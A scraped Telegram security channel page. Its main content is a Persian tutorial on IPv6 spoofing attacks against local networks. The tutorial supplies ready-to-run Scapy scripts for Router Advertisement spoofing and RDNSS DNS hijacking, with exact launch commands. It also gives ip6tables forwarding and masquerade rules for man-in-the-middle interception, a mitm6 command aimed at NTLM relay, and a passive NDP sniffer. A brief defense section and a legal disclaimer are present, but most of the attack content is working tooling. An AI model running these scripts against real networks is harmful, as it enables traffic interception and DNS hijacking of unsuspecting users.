Mr. SAM – Telegram
Mr. SAM
147 subscribers
131 photos
7 videos
23 files
751 links
سه‌شنبه
۹ ‏( دی = ۱۰ )‏ ۱٤۰٤
‏30 ( دسامبر = december = 12 ) 2025
تکنیک‌ها ، کالبدشکافی ، درک عمیق ، یک قدم جلوتر ...
https://news.1rj.ru/str/boost/NullError_ir
Download Telegram
❏ </Mr. SAM/> ❏

░▒▓█ infosecwriteups █▓▒░

Recon Roulette: Spinning Old Subdomains into a Fresh Critical Takeover

🔗 ➢➣➤ More ...

@NullError_ir 📢
❏ </Mr. SAM/> ❏

░▒▓█ infosecwriteups █▓▒░

“Day 12: The Rate Limit Paradox — How I Weaponized API Protections for a $500 DoS Bug”

🔗 ➢➣➤ More ...

@NullError_ir 📢
#IPV6

شاهراهی برای نفوذگران (IPv6) راهنمای جامع حملات جعل هویت

امنیت IPv6 اخیراً به یک موضوع حیاتی تبدیل شده است. در این نوشته، به بررسی حملات رایج در شبکه‌های IPv6 و روش‌های مقابله با آن‌ها خواهیم پرداخت.

مقدمه

اگرچه IPv6 هنوز در همه‌جا پیاده‌سازی نشده، اما اکثر سیستم‌عامل‌های مدرن آن را به صورت پیش‌فرض فعال دارند. این وضعیت در شبکه‌های سازمانی اغلب به ایجاد آسیب‌پذیری‌های پنهان منجر می‌شود: حتی اگر شبکه رسماً فقط از IPv4 استفاده کند، سیستم‌های ویندوزی به طور پیش‌فرض IPv6 را ترجیح می‌دهند و به صورت دوره‌ای درخواست تنظیمات IPv6 را ارسال می‌کنند.

مهاجمان می‌توانند از ماهیت مبتنی بر اعتماد پروتکل‌های IPv6 برای اجرای حملات در شبکه محلی سوءاستفاده کنند. حملات جعل هویت (Spoofing) به‌ویژه خطرناک هستند، جایی که مهاجم هویت یک دستگاه قانونی در شبکه را جعل کرده یا با تزریق بسته‌های جعلی، حملات مرد میانی (MITM) و جعل DNS را در شبکه محلی اجرا می‌کند.

سلب مسئولیت

این نوشته ماهیت آموزشی داشته و صرفاً برای متخصصان امنیت اطلاعات که در چارچوب قراردادهای قانونی فعالیت‌های آزمون نفوذ انجام می‌دهند، تهیه شده است. نویسنده و وب‌سایت و منتشر کننده هیچ‌گونه مسئولیتی در قبال خسارات ناشی از استفاده از اطلاعات این نوشته را ندارند. توزیع بدافزار، اختلال در سیستم‌ها و نقض حریم خصوصی مکاتبات، خلاف قانون بوده و می‌تواند منجر به پیگرد کیفری شود.

آشنایی با مفاهیم پایه‌ی IPv6

هر دستگاهی که IPv6 روی آن فعال باشد، به طور خودکار یک آدرس link-local از رنج fe80::/10 دریافت می‌کند. این آدرس بدون نیاز به سرور DHCPv6 یا پیشوندهای سراسری (Global Prefix) ساخته می‌شود و برای عملکرد پروتکل‌های کلیدی لایه پایین مانند SLAAC, NDP, RA و RS ضروری است.

آدرس‌های Link-local تنها در یک سگمنت لایه ۲ (L2) معتبر هستند و به خارج از آن مسیریابی نمی‌شوند. با این حال، در داخل همان سگمنت، این آدرس‌ها شناسه اصلی دستگاه‌ها در ترافیک سرویس IPv6 محسوب می‌شوند.

این یعنی:

سرورهای DHCPv6، روترها، کلاینت‌ها و مهاجمان، همگی با استفاده از آدرس‌های fe80::/10 با یکدیگر تبادل پیام می‌کنند.

هر دستگاهی که یک بسته RA (Router Advertisement) یا NA (Neighbor Advertisement) دریافت کند، آدرس link-local فرستنده را به عنوان منبع مسیر، گیت‌وی یا سرور DNS ثبت می‌کند.

مهاجمی که آدرس fe80:: خود را می‌داند، می‌تواند بدون اطلاع از پیشوند سراسری شبکه، بسته‌های RA را جعل کرده و خود را به عنوان گیت‌وی یا سرور DNS جا بزند.

بنابراین، آدرس link-local در IPv6 یک شناسه لایه ۲ حیاتی است که دانستن آن برای اکثر حملات جعل هویت در شبکه محلی ضروری است.

جادوی Multicast

در شبکه‌های IPv4، از ترافیک Broadcast برای شناسایی میزبان‌ها در یک سگمنت استفاده می‌شد (مانند درخواست‌های ARP). در IPv6، مفهوم Broadcast حذف و با گروه‌های Multicast جایگزین شده است. یعنی به جای ارسال بسته‌ها به تمام میزبان‌ها، دستگاه‌ها به گروه‌های خاصی گوش می‌دهند.

۔* ff02::1آدرس All-nodes multicast: آدرسی برای تمام دستگاه‌های موجود در سگمنت محلی. هر دستگاهی که IPv6 روی آن فعال باشد، به طور خودکار عضو این گروه است.

۔* ff02::2آدرس All-Routers Multicast: آدرسی برای تمام روترهای موجود در سگمنت محلی. روترها موظف به پذیرش بسته‌های ارسالی به این آدرس هستند.

این مکانیزم به مهاجم اجازه می‌دهد تا بدون دانستن آدرس تک‌تک دستگاه‌ها، با تمام میزبان‌ها یا روترها به طور همزمان تعامل داشته باشد. این قابلیت در موارد زیر کاربرد دارد:

جمع‌آوری اطلاعات درباره شبکه
حملات مربوط به جعل RA (Router Advertisement)
ربودن DNS از طریق RDNSS

شنود پنهانی در شبکه: هنر جمع‌آوری اطلاعات با NDP

این یک تکنیک فوق‌العاده کاربردی برای جمع‌آوری اطلاعات در شبکه‌های IPv6 است. البته می‌توانیم با ارسال پینگ Multicast به ff02::1 و ff02::2 میزبان‌ها و روترها را پیدا کنیم، اما این روش بسیار پر سر و صدا و قابل شناسایی است.

یک روش بسیار جذاب‌تر، شناسایی غیرفعال میزبان‌ها (Passive Host Detection) از طریق تحلیل ترافیک عبوری است. ما می‌توانیم با گوش دادن به پروتکل‌های کلیدی مانند NDP, SLAAC, DHCPv6 و MLD، میزبان‌های فعال را شناسایی کرده و ساختار شبکه را درک کنیم.

ساخت یک شنودگر (Sniffer) سفارشی

می‌توان فرآیند تحلیل این ترافیک را با یک اسکریپت پایتون کوچک و کتابخانه Scapy خودکار کرد:

@NullError_ir 📢
Please open Telegram to view this post
VIEW IN TELEGRAM
#!/usr/bin/env python3

from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

DHCP6_TYPES = {
DHCP6_Solicit: "Solicit",
DHCP6_Advertise: "Advertise",
DHCP6_Request: "Request",
DHCP6_Reply: "Reply",
DHCP6_Renew: "Renew",
DHCP6_Rebind: "Rebind",
DHCP6_RelayForward: "Relay-Forward",
DHCP6_RelayReply: "Relay-Reply"
}

ICMP6_TYPES = {
ICMPv6ND_RS: ("ICMPv6 - Router Solicitation", Fore.CYAN),
ICMPv6ND_RA: ("ICMPv6 - Router Advertisement", Fore.GREEN),
ICMPv6ND_NS: ("ICMPv6 - Neighbor Solicitation", Fore.BLUE),
ICMPv6ND_NA: ("ICMPv6 - Neighbor Advertisement", Fore.MAGENTA),
ICMPv6ND_Redirect: ("ICMPv6 - Redirect", Fore.LIGHTRED_EX),
ICMPv6MLReport: ("ICMPv6 - MLD Report", Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ("ICMPv6 - MLD Report", Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ("ICMPv6 - MLD Done", Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest: ("ICMPv6 - Echo Request", Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ("ICMPv6 - Echo Reply", Fore.LIGHTBLACK_EX)
}

def handle(pkt):
eth_src = pkt[Ether].src if Ether in pkt else "?"
eth_dst = pkt[Ether].dst if Ether in pkt else "?"
ip6_src = pkt[IPv6].src if IPv6 in pkt else "?"
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else "?"

# ICMPv6 Detection
for proto, (desc, color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
# DHCPv6 Detection
if UDP in pkt and pkt[UDP].dport == 547:
for dhcp_type, name in DHCP6_TYPES.items():
if dhcp_type in pkt:
desc = f"DHCPv6 - {name}"
color = Fore.YELLOW
break
else:
return
else:
return

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"{Style.DIM} MAC {eth_src} -> {eth_dst}")
print(f"{Style.DIM} IPv6 {ip6_src} -> {ip6_dst}")
print(Style.RESET_ALL + "-" * 60)

if __name__ == "__main__":
parser = argparse.ArgumentParser(denoscription="IPv6 NDP & DHCPv6 Sniffer")
parser.add_argument("-i", "--interface", required=True, help="Interface to sniff on")
parser.add_argument("-t", "--time", type=int, default=0, help="Sniff duration (0 = infinite)")
args = parser.parse_args()

print(Fore.LIGHTWHITE_EX + f"[*] Sniffing on {args.interface} for {args.time or '∞'} seconds...\n")
sniff(iface=args.interface, prn=handle, timeout=args.time or None, store=0)



این شنودگر به طور غیرفعال به پروتکل‌های کلیدی IPv6 گوش می‌دهد و اطلاعات مفیدی مانند آدرس‌های MAC، آدرس‌های IPv6 و نوع پیام‌ها را نمایش می‌دهد. با تحلیل خروجی این ابزار، می‌توان بدون نیاز به اسکن فعال، داده‌های ارزشمندی از شبکه جمع‌آوری کرد.

حمله جعل هویت روتر (RA Spoofing)

در این حمله، مهاجم بسته‌های جعلی Router Advertisement (RA) را به سگمنت محلی ارسال کرده و وانمود می‌کند که یک روتر است. این کار به او اجازه می‌دهد تا یک پیشوند IPv6 جعلی معرفی کرده و خود را به عنوان گیت‌وی پیش‌فرض (Default Gateway) برای تمام میزبان‌ها تحمیل کند.

مهم‌ترین پارامتر در این حمله routerlifetime است. این پارامتر به میزبان می‌گوید که فرستنده RA را برای چند ثانیه به عنوان یک روتر معتبر در نظر بگیرد.

اگر routerlifetime=0 باشد، میزبان مسیر خود از طریق آن گیت‌وی را حذف می‌کند.
اگر routerlifetime=1800 باشد، میزبان تا ۳۰ دقیقه مهاجم را به عنوان گیت‌وی پیش‌فرض می‌پذیرد.

اسکریپت تزریق‌کننده (Injector)

اسکریپت زیر یک حمله پایه‌ای RA Spoofing را پیاده‌سازی می‌کند:

@NullError_ir 📢
#!/usr/bin/env python3

from scapy.all import *
import argparse

def main():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--interface", required=True, help="Network interface (e.g., eth0)")
parser.add_argument("-m", "--mac", required=True, help="Spoofed MAC address to include in the RA")
parser.add_argument("--llip", required=True, help="Your link-local IPv6 address")
parser.add_argument("-l", "--lifetime", type=int, default=1800, help="Router Lifetime in seconds (default: 1800)")
parser.add_argument("--interval", type=int, default=5, help="Interval between packets (default: 5 seconds)")
parser.add_argument("--revert", action="store_true", help="Send RA with router lifetime = 0 to remove route")

args = parser.parse_args()

lifetime = 0 if args.revert else args.lifetime

ra = IPv6(src=args.llip, dst="ff02::1", hlim=255) / \
ICMPv6ND_RA(routerlifetime=lifetime) / \
ICMPv6NDOptSrcLLAddr(lladdr=args.mac)

mode = "REVERT" if args.revert else "SPOOF"
print(f"[+] Sending {mode} RA on {args.interface}")
print(f" Source LL IP: {args.llip}")
print(f" MAC: {args.mac}")
print(f" Lifetime: {lifetime}s")
print(f" Interval: {args.interval}s")

send(ra, iface=args.interface, loop=1, inter=args.interval)

if __name__ == "__main__":
main()



نحوه اجرا:

sudo python3 RA.py --interface eth0 --mac 00:50:00:00:01:00 --lifetime 300 --interval 5 --llip fe80:250:ff:fe00:100


پس از اجرای این حمله، آدرس link-local مهاجم به عنوان گیت‌وی پیش‌فرض در سطح IPv6 روی سیستم قربانی تنظیم می‌شود و تمام ترافیک او از طریق ماشین مهاجم عبور خواهد کرد.

چالش‌های مسیریابی: از کار انداختن شبکه قربانی!

یک اشتباه رایج در اجرای RA Spoofing، نادیده گرفتن تنظیمات مسیریابی در سمت مهاجم است. حتی اگر قربانی RA جعلی شما را بپذیرد، ترافیک او به سمت شما می‌آید، اما اگر شما نتوانید آن را به درستی به مقصد برسانید و پاسخ را برگردانید، اتصال قربانی قطع می‌شود\!

برای جلوگیری از این فاجعه، باید مسیریابی (forwarding) را روی سیستم خود فعال کنید:

# فعال‌سازی forwarding برای IPv6
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# اجازه عبور ترافیک در فایروال
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT

# حل مشکل بازگشت ترافیک با Masquerading
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE


دستور آخر (MASQUERADE) آدرس IPv6 مبدأ بسته‌های خروجی را با آدرس مهاجم جایگزین می‌کند. این کار تضمین می‌کند که پاسخ‌ها از اینترنت به ماشین شما بازگردند و شما بتوانید آن‌ها را به قربانی تحویل دهید.

حمله جعل سرور DNS با RDNSS

گزینه RDNSS (Recursive DNS Server) مکانیزمی است که به روتر اجازه می‌دهد آدرس سرورهای DNS را مستقیماً از طریق بسته‌های RA به کلاینت‌ها ارسال کند، بدون نیاز به DHCPv6.

نقطه حمله:
مهاجم بسته‌های RA حاوی آدرس یک سرور DNS جعلی (که خودش است) را ارسال می‌کند. کلاینت‌هایی که از RDNSS پشتیبانی می‌کنند (اکثر سیستم‌عامل‌های مدرن مانند ویندوز ۱۰ و ۱۱)، این آدرس را پذیرفته و تمام درخواست‌های DNS خود را به سمت مهاجم ارسال می‌کنند. این کار به مهاجم کنترل کامل بر ترجمه نام‌های دامنه در شبکه را می‌دهد.

اسکریپت حمله RDNSS Spoofing

@NullError_ir 📢
#!/usr/bin/env python3

from scapy.all import *
import argparse

def send_rdns_spoof(args):
ra = IPv6(
src=args.llip,
dst="ff02::1",
hlim=255) / ICMPv6ND_RA(routerlifetime=0) / ICMPv6NDOptRDNSS(dns=[args.dns], lifetime=args.lifetime)

print(f"[+] Sending RDNSS RA on {args.interface}")
print(f" Source LL IP: {args.llip}")
print(f" DNS: {args.dns}")
print(f" Lifetime: {args.lifetime}s")
print(f" Interval: {args.interval}s")

send(ra, iface=args.interface, loop=1, inter=args.interval)

def main():
parser = argparse.ArgumentParser(denoscription="RDNSS Spoofing via IPv6 RA")
parser.add_argument("-i", "--interface", required=True, help="Network interface (e.g. eth0)")
parser.add_argument("--llip", required=True, help="Link-local IPv6 address (source IP)")
parser.add_argument("--dns", required=True, help="DNS server to inject (IPv6 address)")
parser.add_argument("--lifetime", type=int, default=600, help="RDNSS option lifetime (default: 600 seconds)")
parser.add_argument("--interval", type=int, default=5, help="Interval between packets in seconds")

args = parser.parse_args()
send_rdns_spoof(args)

if __name__ == "__main__":
main()


نحوه اجرا:

sudo python3 rdnss.py -i eth0 --llip fe80::20c:29ff:fef0:470d --dns fe80::20c:29ff:fef0:470d --lifetime 100 --interval 30


برای بازگرداندن تغییرات و حذف DNS جعلی از سیستم قربانی، کافی است اسکریپت را با lifetime 0 اجرا کنید:

sudo python3 rdnss.py -i eth0 --llip fe80::20c:29ff:fef0:470d --dns fe80::20c:29ff:fef0:470d --lifetime 0


این حمله از mitm6 انعطاف‌پذیرتر است، زیرا به شما امکان کنترل دقیق بر روی پارامترهای بسته RA و زمان‌بندی حمله را می‌دهد.



رهگیری DNS با DHCPv6 (حمله mitm6)

ابزار mitm6 یکی از محبوب‌ترین ابزارها برای حمله به شبکه‌های ویندوزی است. این ابزار با تزریق بسته‌های DHCPv6، خود را به عنوان یک سرور DHCPv6 قانونی جا زده و آدرس DNS جعلی را در سطح IPv6 به کلاینت‌ها تحمیل می‌کند.

معمولاً ویندوز به صورت دوره‌ای بسته‌های DHCPv6 Solicit ارسال می‌کند تا یک سرور در شبکه پیدا کند. mitm6 به این درخواست‌ها با یک بسته Advertise پاسخ می‌دهد و آدرس خود را به عنوان سرور DNS معرفی می‌کند.

اجرای حمله:

sudo mitm6 -i eth0 --no-ra


پس از این حمله، آدرس link-local مهاجم به عنوان سرور DNS در سیستم قربانی ثبت می‌شود و راه را برای حملات بعدی مانند NTLM Relay**، رهگیری درخواست‌های DNS و حمله به WPAD باز می‌کند.

**چگونه از خود دفاع کنیم


برای جلوگیری از حملات جعل هویت در IPv6، مکانیزم‌های زیر در سطح لایه ۲ (سوئیچ) به کار می‌روند:

۔**RA Guard**: فیلتر کردن بسته‌های RA در سطح سوئیچ.

۔**DHCPv6 Guard**: مسدود کردن سرورهای DHCPv6 غیرمجاز روی پورت‌های خاص.

۔**ND Inspection**: فیلتر کردن پیام‌های NDP, RA و دیگر پیام‌های ICMPv6 بر اساس الگوها.

اما در دنیای واقعی:

* این مکانیزم‌ها اغلب به صورت پیش‌فرض غیرفعال هستند.

* در شبکه‌های ترکیبی IPv4/IPv6 به درستی پیکربندی نمی‌شوند.

* روی سوئیچ‌های قدیمی یا ارزان‌قیمت (به‌ویژه در شبکه‌های Wi-Fi) کار نمی‌کنند.

در نتیجه، حتی با وجود فعال بودن IPv6، لایه‌های حفاظتی یا غایب یا ناکارآمد هستند، که این حملات را در زیرساخت‌های واقعی کاملاً ممکن می‌سازد.


کلام آخر

بسیاری معتقدند بهترین راه حل، غیرفعال کردن کامل IPv6 است، اما این کار مشکل را حل نمیکند. مهم است که بفهمیم این فناوری چگونه کار می‌کند و چه اقدامات متقابلی در دسترس است. تحلیل مداوم و مطالعه عمیق پروتکل‌ها، مهارتی کلیدی است که بارها به کارتان خواهد آمد.

نویسنده اصلی مقاله: Magama Bazarov

@NullError_ir 📢
Forwarded from Mehraz Logs
لیست چنل‌های تلگرام فعال در حوزه امنیت سایبری و OSINT
(ایرانی و خارجی)
https://mehrazino.github.io/tg-cybersec
#useful
1